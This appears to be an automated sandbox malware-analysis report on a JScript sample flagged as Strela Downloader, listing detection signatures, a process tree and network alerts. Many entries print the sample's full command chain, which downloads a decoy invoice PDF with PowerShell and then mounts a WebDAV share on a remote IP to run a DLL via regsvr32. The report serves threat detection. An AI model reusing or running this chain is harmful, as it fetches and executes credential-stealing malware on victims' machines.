Edit tour

Windows Analysis Report
1917827975246096126.js

Overview

General Information

Sample name:	1917827975246096126.js
Analysis ID:	1587830
MD5:	584629800019d6ec0ff6dae43041e995
SHA1:	ac247412945208e68e7070954b0aa73c591a7762
SHA256:	1454893f31d687b395fad044b9cc3da68547d302f30a4e74d35744ff1cf9431b
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5336 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1096 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3608 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 884 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3984 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1552,i,16176091813262955054,800977564278276916,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3392 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3916 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2328 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5336	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3608, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3608, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js", ProcessId: 5336, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3916, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ProcessId: 1096, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ProcessId: 1096, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ProcessId: 1096, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ProcessId: 1096, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ProcessId: 1096, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js", ProcessId: 5336, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3608, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3392, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3916, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2328, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3392, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3916, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll, ProcessId: 1096, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:21:45.557362+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:21:42.826476+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1917827975246096126.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1917827975246096126.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:21:42 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:63365 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

